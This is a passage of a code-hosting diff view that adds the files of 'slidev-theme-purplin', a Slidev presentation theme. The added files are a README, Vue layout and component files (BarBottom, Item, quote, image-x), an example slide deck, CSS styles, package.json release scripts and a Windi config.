     41 +* add layouts and component documentation ([e40aced7](https://github.com/moudev/slidev-theme-purplin/commit/e40aced7bb81faa7deaccaba010981f4a00c6c63))
     42 +* add <BarBottom /> component examples ([2dd60be9](https://github.com/moudev/slidev-theme-purplin/commit/2dd60be98dc8d6f6913dd7bef7de3a4d9877fae1))
     43 +* add image-x layout examples ([dd0ceb98](https://github.com/moudev/slidev-theme-purplin/commit/dd0ceb98a48e24b32f05bf925bdd4848a7faa70c))
     44 +* add quote layout example ([104b371c](https://github.com/moudev/slidev-theme-purplin/commit/104b371cc70e6e9245a08c56436e52cf7b98f9ea))
     45 + 
     46 +##### New Features
     47 + 
     48 +* add BarBottom to display title and social media ([8d157689](https://github.com/moudev/slidev-theme-purplin/commit/8d157689c7511ed77d698795be06eae85a755eba))
     49 +* add text alignment prop in quote layout ([16979396](https://github.com/moudev/slidev-theme-purplin/commit/169793969dc9a72e6b27bdbb6a16ca020e4afdf2))
     50 +* add image-x layout ([d1b2962c](https://github.com/moudev/slidev-theme-purplin/commit/d1b2962cfe7d7e2be519a3922191e5ab1bf606b5))
     51 +* add quote layout ([218e6a0b](https://github.com/moudev/slidev-theme-purplin/commit/218e6a0b20aa045bf985415fe48e2eddead1c61b))
     52 + 
     53 +##### Code Style Changes
     54 + 
     55 +* add border color to <pre /> code sections ([16aede09](https://github.com/moudev/slidev-theme-purplin/commit/16aede09e0d17d24df917f08cebf743e496c2f55))
     56 +* update background, text color and font family ([e27cdeb9](https://github.com/moudev/slidev-theme-purplin/commit/e27cdeb90a7219c763f43d9e8b0d059ad1529c2d))
     57 + 
     58 + 
  • ■ ■ ■ ■ ■ ■
    theme/README.md
     1 +# slidev-theme-purplin
     2 + 
     3 +[![NPM version](https://img.shields.io/npm/v/slidev-theme-purplin?color=3AB9D4&label=)](https://www.npmjs.com/package/slidev-theme-purplin)
     4 + 
     5 +[![Netlify Status](https://api.netlify.com/api/v1/badges/c011b5f3-5d1f-4c16-a1df-929b1e503724/deploy-status)](https://app.netlify.com/sites/slidev-theme-purplin/deploys)
     6 + 
     7 +A (...) theme for [Slidev](https://github.com/slidevjs/slidev).
     8 + 
     9 +<!--
     10 +run `npm run dev` to check out the slides for more details of how to start writing a theme
     11 +-->
     12 + 
     13 +<!--
     14 +put some screenshots here to demonstrate your theme,
     15 +-->
     16 + 
     17 +Live demo: https://slidev-theme-purplin.netlify.app/
     18 + 
     19 +## Install
     20 + 
     21 +Add the following frontmatter to your `slides.md`. Start Slidev then it will prompt you to install the theme automatically.
     22 + 
     23 +<pre><code>---
     24 +theme: <b>purplin</b>
     25 +---</code></pre>
     26 + 
     27 +Learn more about [how to use a theme](https://sli.dev/themes/use).
     28 + 
     29 +## Layouts
     30 + 
     31 +This theme provides the following layouts:
     32 + 
     33 +### quote
     34 + 
     35 +Usage:
     36 + 
     37 +```markdown
     38 +---
     39 +layout: quote
     40 +position: center
     41 +---
     42 + 
     43 +# "layout: quote"
     44 +position: center
     45 + 
     46 +'position' variants: left (default), center, right
     47 +```
     48 + 
     49 +![quote-layout](https://user-images.githubusercontent.com/13499566/118434542-dd60d500-b6a2-11eb-9f4e-1759abe19349.png)
     50 + 
     51 +---
     52 + 
     53 +### image-x
     54 + 
     55 +Usage:
     56 + 
     57 +```markdown
     58 +---
     59 +layout: image-x
     60 +image: 'https://source.unsplash.com/collection/94734566/600x600'
     61 +imageOrder: 1
     62 +---
     63 + 
     64 +# layout: image-x
     65 + 
     66 +imageOrder: 1
     67 + 
     68 +image 600x600
     69 +```
     70 + 
     71 +![image-x-1](https://user-images.githubusercontent.com/13499566/118434655-07b29280-b6a3-11eb-902c-3b142d57a770.png)
     72 + 
     73 +```markdown
     74 +---
     75 +layout: image-x
     76 +image: 'https://source.unsplash.com/collection/94734566/1080x1920'
     77 +imageOrder: 2
     78 +---
     79 + 
     80 +# layout: image-x
     81 + 
     82 +imageOrder: 2
     83 + 
     84 +image 1080x1920
     85 +```
     86 + 
     87 +![image-x-2](https://user-images.githubusercontent.com/13499566/118434696-1a2ccc00-b6a3-11eb-9655-e740b330b2de.png)
     88 + 
     89 +## Components
     90 + 
     91 +This theme provides the following components:
     92 + 
     93 +### `<BarBottom />`
     94 + 
     95 +This component displays a bar at the bottom of the slide.
     96 + 
     97 +The component needs to be added to each slide where we want to display it.
     98 + 
     99 +Receives a `title` prop that is the text displayed on the left.
     100 + 
     101 +This component uses `slots` to add items on the right. Exist an `<Item />` component that receives a `text` prop and uses `slots` to add the icon/image.
     102 + 
     103 +Exist a large [list of icon collections](https://icones.js.org/collection) available that you can use. These icons are imported automatically by _slidev_, you don't need to configure anything else to use them.
     104 + 
     105 +Usage:
     106 + 
     107 +```markdown
     108 +---
     109 +layout: intro
     110 +---
     111 + 
     112 +# Slidev Theme Purplin
     113 + 
     114 +Presentation slides for developers
     115 + 
     116 +<div class="pt-12">
     117 + <span @click="next" class="px-2 p-1 rounded cursor-pointer hover:bg-white hover:bg-opacity-10">
     118 + Press Space for next page <carbon:arrow-right class="inline"/>
     119 + </span>
     120 +</div>
     121 + 
     122 +<BarBottom title="Slidev theme purplin">
     123 + <Item text="slidevjs/slidev">
     124 + <carbon:logo-github />
     125 + </Item>
     126 + <Item text="Slidevjs">
     127 + <carbon:logo-twitter />
     128 + </Item>
     129 + <Item text="sli.dev">
     130 + <carbon:link />
     131 + </Item>
     132 +</BarBottom>
     133 +```
     134 + 
     135 +This example uses [carbon collection](https://icones.js.org/collection/carbon).
     136 + 
     137 +![barBottom-component](https://user-images.githubusercontent.com/13499566/118434724-287ae800-b6a3-11eb-8e7c-b52d5765245a.png)
     138 + 
     139 +**How to use other available icons**
     140 + 
     141 +You have to go to the [icon list](https://icones.js.org/collection) and select a collection, click on an icon a copy its name. You don't need to do anything else, only copy the name and use an `<Item />` component and the icon will be automatically imported from the collections.
     142 + 
     143 +**How to use custom icon/image**
     144 + 
     145 +You can use your own icons/images if you want, you only need to add an `<Item />` component and use `slots` features.
     146 + 
     147 +Also, you can use [Windi CSS](https://windicss.org/) to add style to the icon, for example, adjust the width o height.
     148 + 
     149 +Usage:
     150 + 
     151 +```markdown
     152 +---
     153 +layout: intro
     154 +---
     155 + 
     156 +# Slidev Theme Purplin
     157 + 
     158 +Presentation slides for developers
     159 + 
     160 +<div class="pt-12">
     161 + <span @click="next" class="px-2 p-1 rounded cursor-pointer hover:bg-white hover:bg-opacity-10">
     162 + Press Space for next page <carbon:arrow-right class="inline"/>
     163 + </span>
     164 +</div>
     165 + 
     166 +<BarBottom title="Slidev theme purplin">
     167 + <Item text="slidevjs/slidev">
     168 + <carbon:logo-github />
     169 + </Item>
     170 + <Item text="Slidevjs">
     171 + <carbon:logo-twitter />
     172 + </Item>
     173 + <Item text="sli.dev">
     174 + <img
     175 + src="https://d33wubrfki0l68.cloudfront.net/273aa82ec83b3e4357492a201fb68048af1c3e6a/8f657/logo.svg"
     176 + class="w-4"
     177 + />
     178 + </Item>
     179 +</BarBottom>
     180 +```
     181 + 
     182 +![barBottom-component](https://user-images.githubusercontent.com/13499566/139119534-4398a2ff-4f83-4282-9d12-bf5f27b99174.png)
     183 + 
     184 +## Contributing
     185 + 
     186 +- `npm install`
     187 +- `npm run dev` to start theme preview of `example.md`
     188 +- Edit the `example.md` and style to see the changes
     189 +- `npm run export` to genreate the preview PDF
     190 +- `npm run screenshot` to genrate the preview PNG
     191 + 
  • ■ ■ ■ ■ ■ ■
    theme/components/BarBottom.vue
     1 +<script>
     2 +export default {
     3 + props: {
     4 + title: {
     5 + type: String,
     6 + },
     7 + }
     8 +}
     9 +</script>
     10 + 
     11 +<template>
     12 + <div v-if="title || social" class="bg-barBottom flex absolute w-full bottom-0 left-0 py-0.5 px-4 text-sm ">
     13 + <div class="w-1/2 text-left">
     14 + {{ title }}
     15 + </div>
     16 + <div class="w-1/2 flex justify-end">
     17 + <slot />
     18 + </div>
     19 + </div>
     20 +</template>
  • ■ ■ ■ ■ ■ ■
    theme/components/Item.vue
     1 +<script>
     2 +export default {
     3 + props: {
     4 + text: {
     5 + type: String,
     6 + required: true,
     7 + default: '@username'
     8 + },
     9 + },
     10 +}
     11 +</script>
     12 + 
     13 +<template>
     14 + <div class="flex justify-center items-center ml-4">
     15 + <span class="flex justify-center item-center">
     16 + <slot />
     17 + </span>
     18 + <span class="ml-0.5">
     19 + {{text}}
     20 + </span>
     21 + </div>
     22 +</template>
  • ■ ■ ■ ■ ■ ■
    theme/example.md
     1 +---
     2 +theme: none
     3 +---
     4 + 
     5 +# Slidev Theme Purplin
     6 + 
     7 +Presentation slides for developers
     8 + 
     9 +<div class="pt-12">
     10 + <span @click="next" class="px-2 p-1 rounded cursor-pointer hover:bg-white hover:bg-opacity-10">
     11 + Press Space for next page <carbon:arrow-right class="inline"/>
     12 + </span>
     13 +</div>
     14 + 
     15 +<BarBottom title="Slidev theme purplin">
     16 + <Item text="slidevjs/slidev">
     17 + <carbon:logo-github />
     18 + </Item>
     19 + <Item text="Slidevjs">
     20 + <carbon:logo-twitter />
     21 + </Item>
     22 + <Item text="sli.dev">
     23 + <carbon:link />
     24 + </Item>
     25 +</BarBottom>
     26 + 
     27 +---
     28 +layout: intro
     29 +---
     30 + 
     31 +## `<BarBottom />` component
     32 + 
     33 +<br />
     34 +<br />
     35 + 
     36 +<div class="grid grid-cols-2 gap-x-4">
     37 +<div>
     38 +This component displays a bar at the bottom of the slide. The component needs to be added to each slide where we want to display it.
     39 + 
     40 +Receives a `title` prop that is the text displayed on the left.
     41 + 
     42 +This component uses `slots` to add items on the right. Exist an `<Item />` component that receives a `text` prop and uses `slots` to add the icon/image.
     43 + 
     44 +Exist a large [list of icon collections](https://icones.js.org/collection) available that you can use. These icons are imported automatically by _slidev_, you don't need to configure anything else to use them.
     45 + 
     46 +</div>
     47 +<div>
     48 + 
     49 +### Slide example
     50 + 
     51 +```markdown
     52 +---
     53 +layout: intro
     54 +---
     55 + 
     56 +# Content
     57 + 
     58 +<BarBottom title="Slidev theme purplin">
     59 + <Item text="slidevjs/slidev">
     60 + <carbon:logo-github />
     61 + </Item>
     62 + <Item text="Slidevjs">
     63 + <carbon:logo-twitter />
     64 + </Item>
     65 + <Item text="sli.dev">
     66 + <carbon:link />
     67 + </Item>
     68 +</BarBottom>
     69 +```
     70 + 
     71 +</div>
     72 +</div>
     73 + 
     74 +<BarBottom title="Slidev theme purplin">
     75 + <Item text="slidevjs/slidev">
     76 + <carbon:logo-github />
     77 + </Item>
     78 + <Item text="Slidevjs">
     79 + <carbon:logo-twitter />
     80 + </Item>
     81 + <Item text="sli.dev">
     82 + <carbon:link />
     83 + </Item>
     84 +</BarBottom>
     85 + 
     86 +---
     87 +layout: intro
     88 +---
     89 + 
     90 +## `<BarBottom />` with custom icons/images
     91 + 
     92 +<br />
     93 +<br />
     94 + 
     95 +<div class="grid grid-cols-2 gap-x-4">
     96 +<div>
     97 + 
     98 +You can use your own icons/images if you want.
     99 + 
     100 +Only need to add an `<Item />` component and use `slots` features.
     101 + 
     102 +Also, you can use [Windi CSS](https://windicss.org/) to add style to the icon, for example, adjust the width o height.
     103 + 
     104 +</div>
     105 +<div>
     106 + 
     107 +### Slide example
     108 + 
     109 +```markdown
     110 +---
     111 +layout: intro
     112 +---
     113 + 
     114 +# Content
     115 + 
     116 +<BarBottom title="Slidev theme purplin">
     117 + <Item text="slidevjs/slidev">
     118 + <carbon:logo-github />
     119 + </Item>
     120 + <Item text="Slidevjs">
     121 + <carbon:logo-twitter />
     122 + </Item>
     123 + <Item text="sli.dev">
     124 + <img
     125 + src="https://d33wubrfki0l68.cloudfront.net/273aa82ec83b3e4357492a201fb68048af1c3e6a/8f657/logo.svg"
     126 + class="w-4"
     127 + />
     128 + </Item>
     129 +</BarBottom>
     130 +```
     131 + 
     132 +</div>
     133 +</div>
     134 + 
     135 +<BarBottom title="Slidev theme purplin">
     136 + <Item text="slidevjs/slidev">
     137 + <carbon:logo-github />
     138 + </Item>
     139 + <Item text="Slidevjs">
     140 + <carbon:logo-twitter />
     141 + </Item>
     142 + <Item text="sli.dev">
     143 + <img
     144 + src="https://d33wubrfki0l68.cloudfront.net/273aa82ec83b3e4357492a201fb68048af1c3e6a/8f657/logo.svg"
     145 + class="w-4"
     146 + />
     147 + </Item>
     148 +</BarBottom>
     149 + 
     150 +---
     151 +layout: image-x
     152 +image: 'https://user-images.githubusercontent.com/13499566/138951075-018e65d5-b5fe-4200-9ea7-34315b1764da.jpg'
     153 +imageOrder: 1
     154 +---
     155 + 
     156 +# layout: image-x
     157 + 
     158 +imageOrder: 1
     159 + 
     160 +image 600x600
     161 + 
     162 +<BarBottom title="Slidev theme purplin">
     163 + <Item text="slidevjs/slidev">
     164 + <carbon:logo-github />
     165 + </Item>
     166 + <Item text="Slidevjs">
     167 + <carbon:logo-twitter />
     168 + </Item>
     169 + <Item text="sli.dev">
     170 + <carbon:link />
     171 + </Item>
     172 +</BarBottom>
     173 + 
     174 +---
     175 +layout: image-x
     176 +image: 'https://user-images.githubusercontent.com/13499566/138950866-7d2addb2-fe3f-41f5-aab6-d35688516612.jpg'
     177 +imageOrder: 2
     178 +---
     179 + 
     180 +# layout: image-x
     181 + 
     182 +imageOrder: 2
     183 + 
     184 +image 1080x1920
     185 + 
     186 +<BarBottom title="Slidev theme purplin">
     187 + <Item text="slidevjs/slidev">
     188 + <carbon:logo-github />
     189 + </Item>
     190 + <Item text="Slidevjs">
     191 + <carbon:logo-twitter />
     192 + </Item>
     193 + <Item text="sli.dev">
     194 + <carbon:link />
     195 + </Item>
     196 +</BarBottom>
     197 + 
     198 +---
     199 +layout: quote
     200 +position: center
     201 +---
     202 + 
     203 +# "layout: quote"
     204 +position: center
     205 + 
     206 +'position' variants: left (default), center, right
     207 + 
     208 +<BarBottom title="Slidev theme purplin">
     209 + <Item text="slidevjs/slidev">
     210 + <carbon:logo-github />
     211 + </Item>
     212 + <Item text="Slidevjs">
     213 + <carbon:logo-twitter />
     214 + </Item>
     215 + <Item text="sli.dev">
     216 + <carbon:link />
     217 + </Item>
     218 +</BarBottom>
     219 + 
     220 +---
     221 + 
     222 +# What is Slidev?
     223 + 
     224 +Slidev is a slides maker and presenter designed for developers, consist of the following features
     225 +
     226 +- 📝 **Text-based** - focus on the content with Markdown, and then style them later
     227 +- 🎨 **Themable** - theme can be shared and used with npm packages
     228 +- 🧑‍💻 **Developer Friendly** - code highlighting, live coding with autocompletion
     229 +- 🤹 **Interactive** - embedding Vue components to enhance your expressions
     230 +- 🎥 **Recording** - built-in recording and camera view
     231 +- 📤 **Portable** - export into PDF, PNGs, or even a hostable SPA
     232 +- 🛠 **Hackable** - anything possible on a webpage
     233 + 
     234 +<br>
     235 +<br>
     236 + 
     237 +Read more about [Why Slidev?](https://sli.dev/guide/why)
     238 + 
     239 +<BarBottom title="Slidev theme purplin">
     240 + <Item text="slidevjs/slidev">
     241 + <carbon:logo-github />
     242 + </Item>
     243 + <Item text="Slidevjs">
     244 + <carbon:logo-twitter />
     245 + </Item>
     246 + <Item text="sli.dev">
     247 + <carbon:link />
     248 + </Item>
     249 +</BarBottom>
     250 + 
     251 +---
     252 + 
     253 +# Navigation
     254 + 
     255 +Hover on the bottom-left corner to see the navigation's controls panel
     256 + 
     257 +### Keyboard Shortcuts
     258 + 
     259 +| | |
     260 +| --- | --- |
     261 +| <kbd>space</kbd> / <kbd>tab</kbd> / <kbd>right</kbd> | next animation or slide |
     262 +| <kbd>left</kbd> | previous animation or slide |
     263 +| <kbd>up</kbd> | previous slide |
     264 +| <kbd>down</kbd> | next slide |
     265 + 
     266 +<BarBottom title="Slidev theme purplin">
     267 + <Item text="slidevjs/slidev">
     268 + <carbon:logo-github />
     269 + </Item>
     270 + <Item text="Slidevjs">
     271 + <carbon:logo-twitter />
     272 + </Item>
     273 + <Item text="sli.dev">
     274 + <carbon:link />
     275 + </Item>
     276 +</BarBottom>
     277 + 
     278 +---
     279 +layout: image-right
     280 +image: 'https://user-images.githubusercontent.com/13499566/138950614-52ec045b-aa93-4d52-91df-b782cc9c7143.jpg'
     281 +---
     282 + 
     283 +# Code
     284 + 
     285 +Use code snippets and get the highlighting directly!
     286 + 
     287 +```ts
     288 +interface User {
     289 + id: number
     290 + firstName: string
     291 + lastName: string
     292 + role: string
     293 +}
     294 + 
     295 +function updateUser(id: number, update: Partial<User>) {
     296 + const user = getUser(id)
     297 + const newUser = {...user, ...update}
     298 + saveUser(id, newUser)
     299 +}
     300 +```
     301 + 
     302 +<BarBottom title="Slidev theme purplin">
     303 + <Item text="slidevjs/slidev">
     304 + <carbon:logo-github />
     305 + </Item>
     306 + <Item text="Slidevjs">
     307 + <carbon:logo-twitter />
     308 + </Item>
     309 + <Item text="sli.dev">
     310 + <carbon:link />
     311 + </Item>
     312 +</BarBottom>
     313 + 
     314 +---
     315 +layout: center
     316 +class: "text-center"
     317 +---
     318 + 
     319 +# Learn More
     320 + 
     321 +[Documentations](https://sli.dev) / [GitHub Repo](https://github.com/slidevjs/slidev)
     322 + 
     323 +<BarBottom title="Slidev theme purplin">
     324 + <Item text="slidevjs/slidev">
     325 + <carbon:logo-github />
     326 + </Item>
     327 + <Item text="Slidevjs">
     328 + <carbon:logo-twitter />
     329 + </Item>
     330 + <Item text="sli.dev">
     331 + <carbon:link />
     332 + </Item>
     333 +</BarBottom>
     334 + 
  • ■ ■ ■ ■ ■ ■
    theme/layouts/cover.vue
     1 +<template>
     2 + <div class="slidev-layout cover">
     3 + <div class="my-auto w-full">
     4 + <slot />
     5 + </div>
     6 + </div>
     7 +</template>
     8 + 
  • ■ ■ ■ ■ ■ ■
    theme/layouts/image-x.vue
     1 + 
     2 +<script>
     3 +import { defineComponent } from 'vue'
     4 + 
     5 +export default defineComponent({
     6 + props: {
     7 + image: {
     8 + type: String,
     9 + required: true,
     10 + },
     11 + imageOrder: {
     12 + type: Number,
     13 + required: true,
     14 + },
     15 + },
     16 + setup(props) {
     17 + const imageOrder = props.imageOrder === 1 ? 'order-1' : 'order-2'
     18 + const textAlignment = props.imageOrder === 1
     19 + ? 'text-right order-2 justify-end'
     20 + : 'text-left order-1 justify-start'
     21 + 
     22 + return {
     23 + imageOrder,
     24 + textAlignment,
     25 + }
     26 + },
     27 +})
     28 +</script>
     29 + 
     30 +<template>
     31 + <div class="slidev-layout h-full grid image-x">
     32 + <div class="my-auto flex">
     33 + <div class="w-1/2 flex justify-center items-center p-8 max-h-md object-cover" :class="imageOrder">
     34 + <img :src="image" style="height: 450px" class="rounded-1xl border-image h-full object-cover" />
     35 + </div>
     36 + <div class="w-1/2 flex flex-col justify-center" :class="textAlignment">
     37 + <slot />
     38 + </div>
     39 + </div>
     40 + </div>
     41 +</template>
  • ■ ■ ■ ■ ■ ■
    theme/layouts/intro.vue
     1 +<template>
     2 + <div class="slidev-layout intro">
     3 + <div class="my-auto">
     4 + <slot />
     5 + </div>
     6 + </div>
     7 +</template>
     8 + 
  • ■ ■ ■ ■ ■ ■
    theme/layouts/quote.vue
     1 +<script>
     2 +import { defineComponent } from 'vue'
     3 + 
     4 +export default defineComponent({
     5 + props: {
     6 + position: {
     7 + type: String,
     8 + required: true,
     9 + default: 'left',
     10 + },
     11 + },
     12 + setup(props) {
     13 + const textAlignment = props.position
     14 + 
     15 + return {
     16 + textAlignment,
     17 + }
     18 + },
     19 +})
     20 +</script>
     21 + 
     22 +<template>
     23 + <div class="slidev-layout quote">
     24 + <div class="my-auto" :class="`text-${textAlignment}`">
     25 + <slot />
     26 + </div>
     27 + </div>
     28 +</template>
  • ■ ■ ■ ■ ■ ■
    theme/package.json
     1 +{
     2 + "name": "slidev-theme-purplin",
     3 + "version": "1.1.0",
     4 + "engines": {
     5 + "node": ">=14.0.0"
     6 + },
     7 + "description": "Purplin theme for Slidev",
     8 + "keywords": [
     9 + "slidev-theme",
     10 + "slidev"
     11 + ],
     12 + "license": "MIT",
     13 + "repository": {
     14 + "type": "git",
     15 + "url": "https://github.com/moudev/slidev-theme-purplin"
     16 + },
     17 + "slidev": {
     18 + "colorSchema": "both",
     19 + "highlighter": "all"
     20 + },
     21 + "author": "Mauricio Martínez <[email protected]>",
     22 + "bugs": "https://github.com/moudev/slidev-theme-purplin/issues",
     23 + "scripts": {
     24 + "dev": "slidev example.md --open",
     25 + "build": "slidev build example.md",
     26 + "export": "slidev export example.md",
     27 + "screenshot": "slidev export example.md --format png",
     28 + "release:major": "changelog -M && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version major && git push origin && git push origin --tags",
     29 + "release:minor": "changelog -m && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version minor && git push origin && git push origin --tags",
     30 + "release:patch": "changelog -p && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version patch && git push origin && git push origin --tags"
     31 + },
     32 + "dependencies": {
     33 + "@slidev/cli": "^0.27.9",
     34 + "@slidev/theme-default": "^0.21.0"
     35 + },
     36 + "devDependencies": {
     37 + "generate-changelog": "^1.8.0"
     38 + }
     39 +}
     40 + 
  • ■ ■ ■ ■ ■ ■
    theme/styles/code.css
     1 +@import 'prism-theme-vars/base.css';
     2 +@import 'codemirror-theme-vars/base.css';
     3 +@import 'prism-theme-vars/to-codemirror.css';
     4 + 
     5 +:root {
     6 + --prism-font-family: var(--slidev-code-font-family);
     7 +}
     8 + 
     9 +html:not(.dark) {
     10 + --prism-foreground: #393a34;
     11 + --prism-background: #f8f8f8;
     12 + --prism-code-border: #e9d5ff;
     13 + --prism-comment: #a0ada0;
     14 + --prism-string: #b56959;
     15 + --prism-literal: #2f8a89;
     16 + --prism-number: #296aa3;
     17 + --prism-keyword: #1c6b48;
     18 + --prism-function: #6c7834;
     19 + --prism-boolean: #1c6b48;
     20 + --prism-constant: #a65e2b;
     21 + --prism-deleted: #a14f55;
     22 + --prism-class: #2993a3;
     23 + --prism-builtin: #ab5959;
     24 + --prism-property: #b58451;
     25 + --prism-namespace: #b05a78;
     26 + --prism-punctuation: #8e8f8b;
     27 + --prism-decorator: #bd8f8f;
     28 + --prism-regex: #ab5e3f;
     29 + --prism-json-property: #698c96;
     30 +}
     31 + 
     32 +html.dark {
     33 + --prism-foreground: #d4cfbf;
     34 + --prism-background: #1b1b1b;
     35 + --prism-code-border: #323232;
     36 + --prism-comment: #758575;
     37 + --prism-string: #d48372;
     38 + --prism-literal: #429988;
     39 + --prism-keyword: #4d9375;
     40 + --prism-boolean: #1c6b48;
     41 + --prism-number: #6394bf;
     42 + --prism-variable: #c2b36e;
     43 + --prism-function: #a1b567;
     44 + --prism-deleted: #a14f55;
     45 + --prism-class: #54b1bf;
     46 + --prism-builtin: #e0a569;
     47 + --prism-property: #dd8e6e;
     48 + --prism-namespace: #db889a;
     49 + --prism-punctuation: #858585;
     50 + --prism-decorator: #bd8f8f;
     51 + --prism-regex: #ab5e3f;
     52 + --prism-json-property: #6b8b9e;
     53 + --prism-line-number: #888888;
     54 + --prism-line-number-gutter: #eeeeee;
     55 + --prism-line-highlight-background: #444444;
     56 + --prism-selection-background: #444444;
     57 +}
     58 + 
     59 +pre[class*='language-'] {
     60 + @apply p-2 border border-opacity-50;
     61 + border-color: var(--prism-code-border);
     62 +}
     63 + 
     64 +:not(pre) > code {
     65 + font-size: 0.9em;
     66 + background: var(--prism-background);
     67 + @apply font-light py-0.5 rounded;
     68 +}
     69 + 
     70 + 
     71 +:not(pre) > code:before,
     72 +:not(pre) > code:after {
     73 + content: '`';
     74 + opacity: 0.50;
     75 +}
     76 + 
     77 +:not(pre) > code:before {
     78 + margin-right: -0.08em;
     79 +}
     80 + 
  • ■ ■ ■ ■ ■ ■
    theme/styles/index.ts
     1 +import './main.css'
     2 +import './layout.css'
     3 +import './code.css'
     4 + 
  • ■ ■ ■ ■ ■ ■
    theme/styles/layout.css
     1 +.slidev-layout {
     2 + @apply px-14 py-10 text-[1.1rem];
     3 + 
     4 + h1, h2, h3, h4, p, div {
     5 + @apply select-none;
     6 + }
     7 + 
     8 + pre, code {
     9 + @apply select-text;
     10 + }
     11 + 
     12 + h1 {
     13 + @apply text-4xl mb-4 -ml-[0.05em];
     14 + }
     15 + 
     16 + h2 {
     17 + @apply text-3xl;
     18 + }
     19 + 
     20 + h3 {
     21 + @apply text-sm pt-2 uppercase tracking-widest font-500 -ml-[0.05em];
     22 + }
     23 + 
     24 + h3:not(.opacity-100) {
     25 + @apply opacity-40;
     26 + }
     27 + 
     28 + p {
     29 + @apply my-4 leading-6;
     30 + }
     31 + 
     32 + h1 + p {
     33 + @apply -mt-2 opacity-50 mb-4;
     34 + }
     35 + 
     36 + p + h2, ul + h2, table + h2 {
     37 + @apply mt-10;
     38 + }
     39 + 
     40 + ul {
     41 + list-style: square;
     42 + }
     43 + 
     44 + li {
     45 + @apply ml-1.1em pl-0.2em leading-1.8em;
     46 + }
     47 + 
     48 + blockquote {
     49 + @apply text-sm px-2 py-1 bg-$prism-background border-primary border-left rounded;
     50 + }
     51 + 
     52 + blockquote > * {
     53 + @apply my-0;
     54 + }
     55 + 
     56 + table {
     57 + @apply w-full;
     58 + }
     59 + 
     60 + tr {
     61 + @apply border-b border-gray-400 border-opacity-20;
     62 + }
     63 + 
     64 + th {
     65 + @apply text-left font-400;
     66 + }
     67 + 
     68 + a {
     69 + @apply border-current border-b border-dashed hover:(text-primary border-solid);
     70 + }
     71 + 
     72 + td, th {
     73 + @apply p-2 py-3;
     74 + }
     75 + 
     76 + b, strong {
     77 + @apply font-600;
     78 + }
     79 + 
     80 + kbd {
     81 + @apply border border-gray-400 border-b-2 border-opacity-20 rounded;
     82 + @apply bg-gray-400 bg-opacity-5 py-0.5 px-1 text-sm font-mono;
     83 + }
     84 +}
     85 + 
     86 +.slidev-layout.cover,
     87 +.slidev-layout.intro,
     88 +.slidev-layout.quote {
     89 + @apply h-full grid;
     90 + 
     91 + h1 {
     92 + @apply text-6xl leading-20;
     93 + }
     94 + 
     95 + h1 + p {
     96 + @apply opacity-40 -mt-4 text-2xl;
     97 + }
     98 +}
     99 + 
     100 +.slidev-layout.quote {
     101 + h1 {
     102 + @apply font-bold leading-none;
     103 + @apply mb-8;
     104 + }
     105 +}
     106 + 
  • ■ ■ ■ ■ ■ ■
    theme/styles/main.css
     1 +#slide-content {
     2 + color: #f43f5e
     3 +}
  • ■ ■ ■ ■ ■ ■
    theme/windi.config.ts
     1 +import { resolve } from 'path'
     2 +import { mergeWindicssConfig, defineConfig } from 'vite-plugin-windicss'
     3 +import BaseConfig from '@slidev/client/windi.config'
     4 + 
     5 +// extend the base config
     6 +export default mergeWindicssConfig(
     7 + BaseConfig,
     8 + defineConfig({
     9 + extract: {
     10 + include: [
     11 + resolve(__dirname, '**/*.{vue,ts}'),
     12 + ],
     13 + },
     14 + shortcuts: {
     15 + // custom the default background
     16 + 'bg-main': 'bg-purple-50 text-[#f43f5e] dark:(bg-purple-50 text-[#f43f5e])',
     17 + 'border-image': 'border border-[#121212] border-opacity-10 shadow-md shadow-[#121212] dark:(border-red-100 border-opacity-10 shadow-red-100)',
     18 + 'bg-barBottom': 'bg-red-500 text-red-50 dark:(bg-red-900 text-red-50)',
     19 + },
     20 + theme: {
     21 + extend: {
     22 + // fonts can be replaced here, remember to update the web font links in `index.html`
     23 + fontFamily: {
     24 + sans: '"Rubik", ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"',
     25 + mono: '"Fira Code", monospace',
     26 + }
     27 + },
     28 + },
     29 + }),
     30 +)
     31 + 
  • ■ ■ ■ ■ ■ ■
    vercel.json
     1 +{
     2 + "rewrites": [
     3 + { "source": "/(.*)", "destination": "/index.html" }
     4 + ]
     5 +}
     6 + 
Please wait...
Page is in error, reload to recover